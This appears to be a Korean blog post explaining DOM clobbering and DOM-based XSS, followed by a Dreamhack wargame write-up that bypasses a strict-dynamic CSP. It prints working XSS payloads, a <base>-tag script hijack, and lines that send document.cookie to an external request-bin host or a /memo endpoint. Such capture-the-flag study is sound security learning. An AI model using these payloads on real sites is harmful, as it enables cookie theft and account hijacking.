Document Object Model (DOM)
- 웹 페이지에 대한 프로그래밍 인터페이스
- 웹 개발자가 작성한 웹 문서는 브라우저에서 파싱되어 DOM으로 표현됨
- 자바스크립트가 웹 문서에 접근할 때에는 DOM을 통해 접근하게 되며, DOM에서 제공하는 API 사용
- DOM 내에서 웹 개발자가 작성한 HTML 문서는 트리 형태가 되어 노드로 표현됨
var elem = document.getElementById("name");
elem.innerText = "My name is minseo";
DOM Clobbering XSS
- id, name 등 HTML에서 이용되는 속성을 이용해 자바스크립트에서 접근 가능한 DOM 객체들의 속성 및 메소드 등을 변조하는 공격 기법
- HTML injection이 가능해야 한다
원리?
- Javascript에서 별도 변수 정의 없이 "xxxxx"에 접근하면 해당 id를 가진 element를 DOM에서 찾아서 리턴함
ex) 아래와 같은 코드에서...
<form id="form">
<input id="firstName" value="John">
</form>
* 'form' 접근 시 <form id="form>...</form> 리턴
* 'form.firstName' 접근 시 <input id="firstName" value="John"> 리턴
* form.firstName.value = 'Kim' 을 통해 input 태그의 값 변경 가능
- 이로 인해 DOM 객체들의 속성/메소드들, 혹은 전역변수와 충돌하여 문제가 된다
예시?
- DOM Clobbering using HTML Collection
<a id="test" name="hi" href="123"></a>
<a id="test"></a>
이렇게 id가 동일한 element 2개 존재할 경우 HTML collection 객체가 생성된다
또한 <a> 태그는 toString() 결과 href의 값을 리턴한다
// <a> 태그와 <area> 태그만 이런 성질을 가진다!!
아래 코드에서 HTML Injection을 통해 alert 창을 띄워보자.
if(window.CONFIG) 와 if(CONFIG.redirectUrl)을 통과해 location.href 에 javascript: 스키마와 함께 코드를 넣으면 될 듯
<!-- HTML CODE IS INJECTED HERE -->
<div id="config_status" style="white-space: pre;"></div>
<script>
if (window.CONFIG) {
if (CONFIG.redirectUrl) {
location.href = CONFIG.redirectUrl
} else {
document.write("<h1>redirectUrl is empty</h1>")
}
} else {
document.write("<h1>CONFIG is not defined.</h1>")
}
</script>
정답은....
<a id="CONFIG" name="redirectUrl" href="javascript:alert(1);">
<a id="CONFIG">
속성을 두 개 부여함으로써 window.CONFIG.redirectUrl이 존재하게 만들었고,
location.href에 대입되는 과정에서 <a> tag의 toString()이 호출되면서 href 값이 들어간 것이다
- DOM Clobbering using form tag
form 태그 내부에 존재하는 <input> 객체를 id나 name을 통해 .(dot operator)로 접근할 수 있다
<form id="abc">
<input id="b">
</form>
DOM-based XSS
- DOM-based XSS는 클라이언트, 즉 자바스크립트 단에서 이용자의 데이터를 가져와 사용하다가 XSS 취약점이 발생
- 자바스크립트에서 URL의 파라미터나 해시를 가져와 innerHTML, outerHTML, insertAdjacentHTML과 같이 HTML에 마크업을 삽입할 수 있도록 해주는 기능에서 주로 발생
ex)
var name_el = document.getElementById("name");
name_el.innerHTML = `My name is ${decodeURIComponent(location.hash.slice(1))}.`;
url을 https://example.com/vuln#<img src=x onerror=alert(1)> 이렇게 주면 XSS 가능하겠죠
문제 분석
@app.after_request
def add_header(response):
global nonce
# CSP 적용
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
nonce = os.urandom(16).hex()
return response
- CSP 적용되어있는데 'strict-dynamic' 보임
- 신뢰할 수 있는 스크립트에 의해 동적으로 추가된 스크립트를 허용하도록 지시하는 것
ex) var s = document.createElement('script'); s.src='~~~~'; document.body.appendChild(s);
ex) s.innerHTML = alert(1);
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
name = request.form.get("name")
if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
- 플래그가 담긴 쿠키와 함께 /vuln?param=[param input]#[name input] 에 접속하도록 함
- location.href 와 document.cookie를 이용해 외부 request bin이나 /memo 엔드포인트에 get 요청을 보내야 함
<script nonce={{ nonce }}>
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
// URL 해쉬값을 가져오는구나
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
{{ param | safe }}
<pre id="name"></pre>
- vuln.html의 일부이다
- param을 통해 HTML injection이 가능하며, 해시값은 name_elem의 innerHTML 값으로 들어간다
- URL 해시 값에 대해 URL decoding 과정을 안거치므로 <, > 사용 불가. HTML element 삽입 불가능
문제 풀이
1. CSP bypass using <base> tag
HTML Injection이 가능한 param에 대해 아무런 필터링이 이루어지지 않고 있다
param = <base href="https://minseo25.github.io/"> 을 통해 개인서버 주소를 base URI로 바꾸고
개인서버의 /static/js/jquery.min.js 에 exploit 코드를 업로드하면 된다
location.href = 'https://enh4d3wjnllvs.x.pipedream.net?'+document.cookie
2. DOM clobbering XSS
{{ param | safe }}
<pre id="name"></pre>
<pre id="name"> element보다 위에 injection 가능하다
id="name"인 element를 삽입한다면 document.getElementById("name") 결과 내가 삽입한 객체가 리턴될 것
<script id="name"></script>
- param으로 id="name"인 <script> 태그를 삽입한다 (empty tag이므로 CSP에 걸리지 않는다)
#location.href='/memo?memo='+document.cookie;//
- name으로 다음과 같이 건네주면 된다
- 신뢰 가능한(nonce 값 인증된) 스크립트에 의해 동적으로 추가되므로(using innerHTML) 전혀 문제되지 않는다
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Error Based SQL Injection (0) | 2023.07.14 |
---|---|
[Dreamhack Wargame] Blind SQL Injection Advanced (1) | 2023.07.14 |
[Dreamhack Wargame] CS-Search (0) | 2023.07.09 |
[Dreamhack Wargame] Relative Path Overwrite Advanced (0) | 2023.07.07 |
[Dreamhack Wargame] Relative Path Overwrite + RPO 기법 정리 (0) | 2023.07.07 |